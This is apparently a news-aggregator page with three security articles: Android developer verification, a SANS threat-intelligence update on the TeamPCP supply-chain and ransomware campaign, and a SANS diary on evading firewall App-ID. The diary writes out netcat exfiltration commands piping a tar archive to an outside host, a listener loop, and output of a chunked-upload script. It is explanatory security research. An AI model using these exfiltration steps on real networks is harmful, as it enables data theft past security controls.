Category: Uncategorized

  • Android Developer Verification Rollout Begins Ahead of September Enforcement

    Android Developer Verification Rollout Begins Ahead of September Enforcement


    Ravie LakshmananMar 31, 2026Mobile Security / Compliance

    Google on Monday said it’s officially rolling out Android developer verification to all developers to combat the problem of bad actors distributing harmful apps while “hiding behind anonymity.”

    The development comes ahead of a planned verification mandate that goes into effect in Brazil, Indonesia, Singapore, and Thailand this September, before it expands globally next year.

    As part of this effort, Google is requiring app developers who distribute apps outside of Google Play to create an account in the Android Developer Console to confirm their identity. Those who distribute apps through Android’s official app marketplace and have verified their identity may be “already set,” the tech giant said.

    Cybersecurity

    “For the vast majority of users, the experience of installing apps will stay exactly the same,” Matthew Forsythe, director of product management for Android App Safety, said. “It’s only when a user tries to install an unregistered app that they’ll require ADB or advanced flow, helping us keep the broader community safe while preserving the flexibility for our power users.”

    Android Studio developers can expect to see their app’s registration status right from within the integrated development environment (IDE) in the next two months when they generate a signed App Bundle or APK.

    Developers who have completed Play Console’s developer verification requirements will have their eligible Play apps automatically registered. If an app cannot be registered, developers are requested to follow a manual app claim process.

    As announced a couple of weeks ago, power users always have an option to enable sideloading of unregistered APK files through an advanced flow that requires an authentication step to confirm they are taking this step of their own volition and a one-off, 24-hour waiting period to deter scammers.

    “This flow is a one-time process for power users – but it was designed carefully to prevent those in the midst of a scam attempt from being coerced by high-pressure tactics to install malicious software,” Forsythe said.

    Cybersecurity

    The development comes as Apple has revised its Developer Program License Agreement to enforce privacy rules regarding third-party wearables’ access to live activities and notifications.

    Apple explicitly noted that third parties “may not use Forwarding Information for advertising, profiling, training models, or monitoring location,” adding they “may not disseminate the Forwarding Information to any other Application, or any other device besides Your Authorized Target Accessory.”

    The newly added section also emphasized that developers cannot remotely store any forwarding information on a cloud service, make modifications that “materially” change the meaning of the content, or decrypt the data anywhere other than the accessory itself.



    Source link

  • TeamPCP Supply Chain Campaign: Update 004

    TeamPCP Supply Chain Campaign: Update 004


    This is the fourth update to the TeamPCP supply chain campaign threat intelligence report, “When the Security Scanner Became the Weapon” (v3.0, March 25, 2026). Update 003 covered developments through March 28, including the first 48-hour pause in new compromises and the campaign’s shift to monetization. This update consolidates intelligence from March 28-30, 2026 — two days since our last update.

    HIGH: Databricks Investigating Alleged Compromise Linked to TeamPCP Credential Harvest

    CybersecurityNews reports that Databricks, the cloud data analytics platform, is investigating an alleged security compromise linked to the TeamPCP credential harvest. International Cyber Digest stated on X that they “notified them last week” and Databricks “scaled up to investigate.” A separate analyst corroborated that screenshots showing AWS artifacts, CloudFormation dumps, and STS tokens “match TeamPCP’s exact playbook.”

    Databricks has not issued an official statement. If confirmed, this would be the first major cloud platform identified as a downstream victim of TeamPCP’s credential trove — distinct from the security tool vendors (Aqua, Checkmarx, BerriAI, Telnyx) directly compromised in the supply chain phase. The distinction matters: tool vendor compromises expanded TeamPCP’s credential pool, while a Databricks compromise would represent the monetization of that pool against an enterprise target processing sensitive data across AWS, GCP, and Azure.

    Update (2026-03-30): Databricks’ Head of Global Communications and their external PR agency FGS Global have confirmed the authenticity of the new @DatabricksSec X account.  In their https://x.com/DatabricksSec/status/2038649955401794042, Databricks says they “thoroughly investigated this information in our internal systems and found nothing” and have “asked for more information beyond this screenshot.” They state they will “transparently continue to share any new updates on all security matters.”   

    Recommended action: Organizations using Databricks should monitor for an official statement. If your CI/CD pipelines were exposed to any TeamPCP-compromised component AND those pipelines had access to Databricks credentials, treat those credentials as potentially compromised regardless of whether Databricks confirms the breach.

    HIGH: TeamPCP Operates Dual Ransomware Tracks – CipherForce Is Their Own Operation

    Update 002 documented TeamPCP’s partnership with the Vect ransomware-as-a-service operation and BreachForums mass affiliate key distribution. New intelligence reveals that Vect is not TeamPCP’s only ransomware channel.

    According to Flare and corroborated by Rami McCarthy’s IOC tracker, TeamPCP operates under five confirmed aliases: PCPcat, ShellForce, DeadCatx3, CipherForce, and Persy_PCP. TeamPCP’s own Telegram channel states: “you may already know us as TeamPCP or Shellforce… CipherForce is a newer project we are starting to find affiliates.”

    CipherForce is TeamPCP’s own ransomware operation, separate from the Vect partnership. This means TeamPCP is running two parallel ransomware tracks simultaneously: their proprietary CipherForce program for direct operations, and the mass Vect affiliate program via BreachForums for distributed operations. The SANS ISC Stormcast for March 30 also notes “more and more links between the TeamPCP crew and various ransomware actors” — plural — consistent with this dual-track model.

    Analysts assess this dual-track approach allows TeamPCP to maintain direct control over high-value targets (via CipherForce) while simultaneously flooding the ecosystem with mass affiliate operations (via Vect). The 300 GB stolen credential trove can feed both tracks simultaneously.

    Recommended action: Detection teams monitoring for Vect ransomware indicators should also add CipherForce to their watchlist. The strongest attribution link across all TeamPCP operations is a shared RSA-4096 public key embedded in payloads — search for this key in forensic artifacts from any suspected TeamPCP exposure.

    HIGH: LAPSUS$ Releases AstraZeneca Data Free After Failed Sale Attempt

    The LAPSUS$/AstraZeneca breach claim documented in Updates 002-003 has escalated. Cybernews and Cybersecurity Insiders report two developments:

    1. LAPSUS$ released the claimed 3 GB archive for free after failing to find buyers via Session encrypted messaging. This shifts the incident from an extortion attempt to a full data exposure event.
    2. Cybernews research team has partially verified the dump’s contents — GitHub user information for internal AstraZeneca software developers, employee data spanning clinical research subsidiaries, and internal source code tree structures were assessed as consistent with legitimate AstraZeneca infrastructure.

    AstraZeneca has still not issued any public statement confirming or denying the breach at approximately 96 hours since the initial claim. Analysts assess that AstraZeneca’s continued silence, combined with GDPR obligations if EU employee data is in the dump, creates increasing regulatory exposure with each passing day.

    Recommended action: Organizations should treat this as a probable confirmed breach for defensive planning purposes. If your organization shares integrations, data, or credentials with AstraZeneca, assess whether the exposed repository structures and configurations could affect your security posture. Given AstraZeneca’s clinical research operations, the dump may contain protected health information (PHI) subject to HIPAA in the US and GDPR in the EU. Organizations with data-sharing agreements with AstraZeneca should evaluate whether their data may be in the exposed archive and prepare breach notification workflows accordingly.

    MEDIUM: ownCloud Discloses Build Infrastructure Impact From CVE-2026-33634

    ownCloud published a security notice confirming their build infrastructure — the systems producing container images and client binaries — was affected by CVE-2026-33634 (the Trivy compromise). ownCloud confirms: no customer data compromised, no source code altered, impact limited to build systems only.

    This is one of the first named downstream organizations to publicly disclose that they were in the blast radius of the Trivy supply chain compromise. The disclosure is notable for its transparency — most affected organizations have remained silent despite the CISA KEV entry and federal remediation deadline of April 8.

    Recommended action: Organizations using ownCloud should review the security notice and verify their deployments are using images produced after the remediation. More broadly, ownCloud’s disclosure should prompt other organizations that used Trivy in their build pipelines between March 19-22 to conduct their own impact assessments and consider similar disclosure.

    MEDIUM: Supply Chain Pause Extends Past 96 Hours

    No new package compromises across any ecosystem have been publicly reported since the Telnyx PyPI disclosure on March 27, extending the supply chain pause documented in Update 003 past 96 hours. This is the longest quiet period since TeamPCP began active supply chain operations on March 19.

    Expanded ecosystem search results (March 30): An independent search of RubyGems, crates.io, and Maven Central — the three ecosystems identified as plausible expansion targets in Update 003 — found zero TeamPCP-related IOCs in any of them. The RubyGems, crates.io, and Maven Central watch items remain “Not observed.” While the CanisterWorm’s propagation technique is registry-agnostic (any stolen publish token would work), there is no evidence TeamPCP has moved beyond the five confirmed ecosystems (GitHub Actions, PyPI, npm, Docker Hub/GHCR, OpenVSX).

    Note on sourcing: CybersecurityNews listed “NPM and OpenVSX” alongside the other compromised ecosystems in their Databricks article. These are accurate in the sense that both ecosystems were hit, but they refer to the known CanisterWorm npm worm (March 20, 66+ packages) and the Checkmarx OpenVSX extensions (March 23, ast-results and cx-dev-assist) — not new compromises. No new npm or OpenVSX activity has been documented since the original incidents.

    Recommended action: Use this supply chain pause as a remediation window. The CISA KEV deadline for CVE-2026-33634 is now 9 days away (April 8, 2026). Complete credential rotations and IOC sweeps before the deadline.

    HIGH: Campaign Transitions to Three Parallel Monetization Tracks

    While supply chain poisoning has paused, TeamPCP is not dormant. Analysts assess the group has completed its supply chain expansion phase and transitioned fully to credential exploitation and monetization. Three distinct operational tracks are now running simultaneously:

    1. Direct credential exploitation against high-value targets — the Databricks investigation (see above) represents the first alleged downstream victim of the ~300 GB stolen credential trove, distinct from the tool vendors directly compromised in the supply chain phase.

    2. Proprietary ransomware via CipherForce — TeamPCP’s own ransomware operation, with recruitment via their Telegram channel. No confirmed deployments yet, but the infrastructure and affiliate recruitment are active.

    3. Mass affiliate ransomware via Vect/BreachForums — Distributed operations leveraging the BreachForums mass affiliate key distribution documented in Update 002. The distribution window is now ~96 hours with no confirmed deployments.

    The distinction between these tracks matters for defenders: detection teams monitoring for Vect ransomware indicators should also add CipherForce to their watchlist. The shared RSA-4096 public key embedded in payloads is the strongest attribution link across all TeamPCP operations.

    INFO: Cloud Security Alliance Publishes Second Research Note on AI/ML Supply Chain Risk

    The Cloud Security Alliance AI Safety Initiative published a research note on March 29 framing the TeamPCP campaign as a structural shift in adversary methodology — from opportunistic typosquatting to deliberate pipeline compromise of trusted AI/ML packages. The note assesses that “the economics of targeting high-value AI credential stores are accelerating adversary investment.” This is the second CSA publication covering TeamPCP (the first was the Kubernetes wiper lab analysis documented in Update 003) and focuses specifically on the AI/ML ecosystem implications rather than technical TTPs.

    Watch Item Status
















    Watch Item Status
    Vect ransomware first confirmed deployment No confirmed deployments — Distribution window now ~96 hours
    CipherForce ransomware first confirmed deployment NEW WATCH ITEM — TeamPCP’s own ransomware operation, no confirmed deployments yet
    Databricks official statement NEW WATCH ITEM — Investigation acknowledged via third parties, no official disclosure
    Additional package compromises breaking 96-hour pause No new compromises — Longest pause since campaign began
    AstraZeneca confirmation or denial Escalated — Data released free, Cybernews partially verified, still no official statement at ~96 hours
    Mandiant formal attribution report Pending — BerriAI engagement confirmed, no public report
    CISA standalone advisory Pending at day 12 — KEV entries only, no dedicated advisory or emergency directive
    Expansion to RubyGems, crates.io, Maven Central Not observed — Independent registry search on Mar 30 found zero TeamPCP IOCs in all three. Separate unrelated malicious crate campaigns found on crates.io (polymarket typosquats, time-utility exfiltrators) but no TeamPCP attribution
    NPM/OpenVSX new activity No new activity — CybersecurityNews listing refers to known CanisterWorm (npm, Mar 20) and Checkmarx extensions (OpenVSX, Mar 23), not new compromises
    LiteLLM/BerriAI release resumption Pending — Release freeze continues, last safe version v1.82.6.rc.2
    Law enforcement action No public action — No arrests, indictments, or infrastructure seizures at day 12
    CISA KEV deadline compliance (April 8) 9 days remaining

    The full campaign report is available at sans.org/white-papers/when-security-scanner-became-weapon. A SANS Emergency Webcast replay is available at sans.org/webcasts/when-security-scanner-became-weapon. Updates to the report will be in the form of these ISC diaries.



    Source link

  • Application Control Bypass for Data Exfiltration

    Application Control Bypass for Data Exfiltration


    In case of a cyber incident, most organizations fear more of data loss (via exfiltration) than regular data encryption because they have a good backup policy in place. If exfiltration happened, it means a total loss of control of the stolen data with all the consequences (PII, CC numbers, …).

    While performing a security assessment of a corporate network, I discovered that a TCP port was open to the wild Internet, even if the audited company has a pretty strong firewall policy. The open port was discovered via a regular port scan. In such situation, you try to exploit this “hole” in the firewall. What I did, I tried to exfiltrate data through this port. It’s easy: Simulate a server controlled by a threat actor:

    
    root@attacker:~# nc -l -p 12345 >/tmp/victim.tgz

    And, from a server on the victim’s network:

    
    root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345

    It worked but the data transfer failed after approximatively ~5KB of data sent… weird! Every time, the same situation. I talked to a local Network Administrator who said that they have a Palo Alto Networks firewall in place with App-ID enabled on this port.

    Note: What I am explaining here is not directly related to this brand of firewall. The same issue may apply with any “next-generation” firewall! For example, Checkpoint firewalls use the App Control blade and Fortinet firewalls use “Application Control”.

    App-ID in Palo Alto Networks firewalls is the component performing traffic classification on the protected network(s), regardless of port, protocol, or encryption. Instead of relying on traditional port-based rules (e.g., TCP/80 == HTTP), App-ID analyzes traffic in real time to determine the actual application (e.g., Facebook, Dropbox, custom apps), enabling more granular and accurate security policies. This allows administrators to permit, deny, or control applications directly, apply user-based rules, and enforce security profiles (IPS, URL filtering, etc.) based on the true nature of the traffic rather than superficial indicators like ports. This also prevent well-known protocols to be used on exotic ports (ex: SSH over 12222).

    The main issue with this technique is that enough packets must be sent over the wire to perform a good classification. So, the traffic is always allowed first and, if something bad is detected, remaining packets are blocked.

    In terms of data volume, there’s no strict fixed threshold, but in practice App-ID usually needs at least the first few KB of application payload to reach a reliable classification. Roughly speaking:

    • ~1–5 KB: basic identification possible for simple or clear-text protocols (HTTP, DNS, some TLS SNI-based detection)
    • ~5–10+ KB: much higher confidence, especially for encrypted or complex applications

    That’s why my attempts to exfiltrate data were all blocked after ~5KB.

    Can we bypass this? Let’s try the following scenario:

    On the external host (managed by me,  the “Threat Actor”), let’s execute a netcat in an infinite loop with a small timeout (because the firewall won’t drop the connection, just block packets:

    
    i=0
    while true; do
        filename=$(printf "/tmp/chunk_%04d.bin" "$i")
        nc -l -p 12345 -v -v -w 5 >$filename
        echo "Dumped $filename"
        ((i++))
    done

    On the victim’s computer, I (vibe-)coded a Python script that will perform the following tasks:

    – Read a file

    – Split it in chunks of 3KB

    – Send everything to a TCP connection (with retries in case of failure of couse)

    The code is available on Pastebin[1]. Example:

    
    root@victim:~# sha256sum data.zip
    955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833  data.zip
    root@victim:~# python3 send_file.py data.zip wild.server.com 12345
    File: 'data.zip' ((359370 bytes) -> 117ll chunk(s) of up to 3072 bytes.
    Destination: wild.server.com:12345  (timeout=5s, max_retries=10)
    
      Chunk 1/1177 sent successfully (attempt 1).
      Chunk 2/1177 sent successfully (attempt 1).
      Chunk 3/1177 sent successfully (attempt 1).
      Chunk 4/1177 sent successfully (attempt 1).
      Chunk 5/1177 sent successfully (attempt 1).
      Chunk 6/1177 sent successfully (attempt 1).
      Chunk 7/1177 sent successfully (attempt 1).
      Chunk 8/1177 sent successfully (attempt 1).
      Chunk 9/1177 sent successfully (attempt 1).
      Chunk 10/1177 sent successfully (attempt 1).
      Chunk 11/1177 sent successfully (attempt 1).
      Chunk 12/1177 sent successfully (attempt 1).
      [...]

    And on the remote side, chunks are created, you just need to rebuild the original file:

    
    root@attacker:~# cat /tmp/chunk_0* >victim.zip
    root@attacker:~# sha256sum victim.zip
    955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833  victim.zip

    The file has been successfully exfiltrated! (the SHA256 hashes are identical). Of course, it’s slow but it does not generate peaks of bandwidth that could reveal a huge amount of data being exfiltrated!

    This technique worked for me with a file of a few megabytes. It is more a proof-of-concept because firewalls may implement more detection controls. For example, this technique is easy to detect due to the high number of small TCP connections that may look like malware beaconing. It could be also useful to encrypt your data because packets could be flagged by the IDS component of the firewall… 

    [1] https://pastebin.com/Ct9ePEiN

    Xavier Mertens (@xme)

    Xameco

    Senior ISC Handler – Freelance Cyber Security Consultant

    PGP Key



    Source link